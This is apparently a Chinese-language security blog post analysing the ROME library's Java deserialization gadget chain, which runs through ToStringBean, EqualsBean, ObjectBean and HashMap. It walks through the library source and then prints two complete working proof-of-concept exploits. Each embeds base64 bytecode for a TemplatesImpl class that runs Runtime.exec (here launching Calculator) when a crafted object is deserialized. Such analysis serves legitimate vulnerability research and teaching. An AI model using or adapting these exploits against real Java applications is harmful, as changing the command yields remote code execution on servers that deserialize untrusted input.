ROME
概念
ROME是一个可以兼容多种格式的feeds解析器
- 可以从一种格式转换成另一种格式
- 可以返回指定格式或者java对象
ROME兼容RSS(0.90-0.94,1.0,2.0)
ROME提供了ToStringBean这个类,用于提供深入的toString方法对JavaBean进行操作
环境
pom.xml
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> </dependencies>
|
Gadget–ysoserial
1 2 3 4 5 6 7 8
| * TemplatesImpl.getOutputProperties() * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)
|
调试分析
gadget涉及到的方法
对于不熟悉的尝试进行跟踪
ToStringBean
主要作用是通过反射自动生成对象的字符串表示,覆盖默认的 toString()
方法
跟踪一下需要调用的ToString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| private String toString(String prefix) { StringBuffer sb = new StringBuffer(128); try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass); if (pds != null) { for(int i = 0; i < pds.length; ++i) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != (class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object) && pReadMethod.getParameterTypes().length == 0) { Object value = pReadMethod.invoke(this._obj, NO_PARAMS); this.printProperty(sb, prefix + "." + pName, value); } } } } catch (Exception var8) { Exception ex = var8; sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + ex.getMessage() + "\n"); } return sb.toString(); }
|
1
| PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
|
跟进查看
1 2 3 4 5 6 7 8 9
| public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException { PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass)); if (descriptors == null) { descriptors = getPDs(klass); _introspected.put(klass, descriptors); } return descriptors; }
|
_introspected
这个是HashMap的固定属性
descriptors
是去HashMap中寻找klass方法,默认为被设置为null
跟进getPDs
1 2 3 4 5 6 7 8 9
| private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException { Method[] methods = klass.getMethods(); Map getters = getPDs(methods, false); Map setters = getPDs(methods, true); List pds = merge(getters, setters); PropertyDescriptor[] array = new PropertyDescriptor[pds.size()]; pds.toArray(array); return array; }
|
大概逻辑为descriptors
会尝试直接去全局获取klass的getter和setter方法,然后存入到HashMap中
恰好Templates.class
只存在一个getter
方法为getOutputProperties
现在需要往回查看调用,查看可控点在哪
这里的关键就是klass
klass即是在ToString中的this._beanClass
1
| PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
|
ToString中同时也存在
1 2 3 4 5 6 7 8 9 10 11 12
| try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass); if (pds != null) { for(int i = 0; i < pds.length; ++i) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != (class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object) && pReadMethod.getParameterTypes().length == 0) { Object value = pReadMethod.invoke(this._obj, NO_PARAMS); this.printProperty(sb, prefix + "." + pName, value); } } }
|
第二个if中会遍历从HashMap获取到的方法,然后会执行该方法
1
| pReadMethod.invoke(this._obj, NO_PARAMS);
|
this._obj
需要更改为需要执行的字节码内容
继续往回查看调用到的this._beanClass,this._obj
构造函数中
1 2 3 4
| public ToStringBean(Class beanClass, Object obj) { this._beanClass = beanClass; this._obj = obj; }
|
需要的两个东西,一个beanClass
为跟进到的klass,需要设置为预调用到的
Templates.class
,还需要控制this._obj
为TemplatesImpl
的一个实例对象
POC-CC5改
所以关键点为
1 2 3 4 5 6 7
| ObjectBean bean=new ObjectBean(Templates.class,templates);
BadAttributeValueExpException val=new BadAttributeValueExpException(null); Field v =val.getClass().getDeclaredField("val"); v.setAccessible(true); v.set(val,bean);
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package org.java_study.rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ObjectBean; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class rome2 { public static void main(String[] args) throws Exception { byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1ieXRlX2V4cC5qYXZhDAAHAAgHABwMAB0AHgEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMAB8AIAEAFG9yZy9leGFtcGxlL2J5dGVfZXhwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABQACwAAAAQAAQAPAAEAEQAAAAIAEg=="); TemplatesImpl templates = new TemplatesImpl(); setvalue(templates,"_name","N11"); setvalue(templates,"_class",null); setvalue(templates,"_bytecodes",new byte[][]{code}); setvalue(templates,"_tfactory",new TransformerFactoryImpl()); ObjectBean bean=new ObjectBean(Templates.class,templates); BadAttributeValueExpException val=new BadAttributeValueExpException(null); Field v =val.getClass().getDeclaredField("val"); v.setAccessible(true); v.set(val,bean); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(val); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object ob=(Object) ois.readObject(); } public static void setvalue(Object obj, String fieldname,Object value) throws Exception { Field field=obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } }
|
POC-ysoserialize
上述是根据toString而联想到的CC5改
根据yso的思路来的话,需要先封装一个HashMap函数,去put到封装好的内容,以触发到hashcode
在 EqualsBean.class 中存在方法
1 2 3
| public int beanHashCode() { return this._obj.toString().hashCode(); }
|
将存在beanHashCode方法的对象封装进HashMap里,将会在触发到hashcode()时,刚好触发到toString
如何触发到beanHashCode?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public class ObjectBean implements Serializable, Cloneable { private EqualsBean _equalsBean; private ToStringBean _toStringBean; private CloneableBean _cloneableBean; public ObjectBean(Class beanClass, Object obj) { this(beanClass, obj, (Set)null); } public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) { this._equalsBean = new EqualsBean(beanClass, obj); this._toStringBean = new ToStringBean(beanClass, obj); this._cloneableBean = new CloneableBean(obj, ignoreProperties); } public Object clone() throws CloneNotSupportedException { return this._cloneableBean.beanClone(); } public boolean equals(Object other) { return this._equalsBean.beanEquals(other); } public int hashCode() { return this._equalsBean.beanHashCode(); } public String toString() { return this._toStringBean.toString(); } }
|
中存在
1 2 3 4
| public int hashCode() { return this._equalsBean.beanHashCode(); }
|
那么就会执行到
1 2
| ObjectBean.hashCode->this._equalsBean.beanHashCode();->this._obj.toString().hashCode();
|
至此,就可以触发到toString
toString接下来不再分析
由此,存在
1 2 3 4 5 6 7 8
| ObjectBean bean = new ObjectBean(Templates.class, impl);
ObjectBean Bean = new ObjectBean(ObjectBean.class, bean); Map map = new HashMap(); map.put(Bean, "N11");
|
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package org.java_study.rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ObjectBean; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class rome_yso { public static void main(String[] args) throws Exception{ TemplatesImpl impl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode("yv66vgAAADMALwoACQAWCQAXABgIABkKABoAGwoAHAAdCAAeCgAcAB8HACAHACEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAIgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAKAAsHACQMACUAJgEABW5pdmlhBwAnDAAoACkHACoMACsALAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMAC0ALgEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAOgACAAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AAdXsQAAAAEADQAAABIABAAAAAoABAALAAwADAAVAA0ADgAAAAQAAQAPAAEAEAARAAIADAAAABkAAAADAAAAAbEAAAABAA0AAAAGAAEAAAAQAA4AAAAEAAEAEgABABAAEwACAAwAAAAZAAAABAAAAAGxAAAAAQANAAAABgABAAAAEwAOAAAABAABABIAAQAUAAAAAgAV"); setFieldValue(impl, "_name", "N11"); setFieldValue(impl, "_bytecodes", new byte[][]{code}); setFieldValue(impl, "_class", null); setFieldValue(impl, "_tfactory", new TransformerFactoryImpl()); ObjectBean bean = new ObjectBean(Templates.class, impl); ObjectBean Bean = new ObjectBean(ObjectBean.class, bean); Map map = new HashMap(); map.put(Bean, "N11"); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); Object ob = (Object) ois.readObject(); } public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
|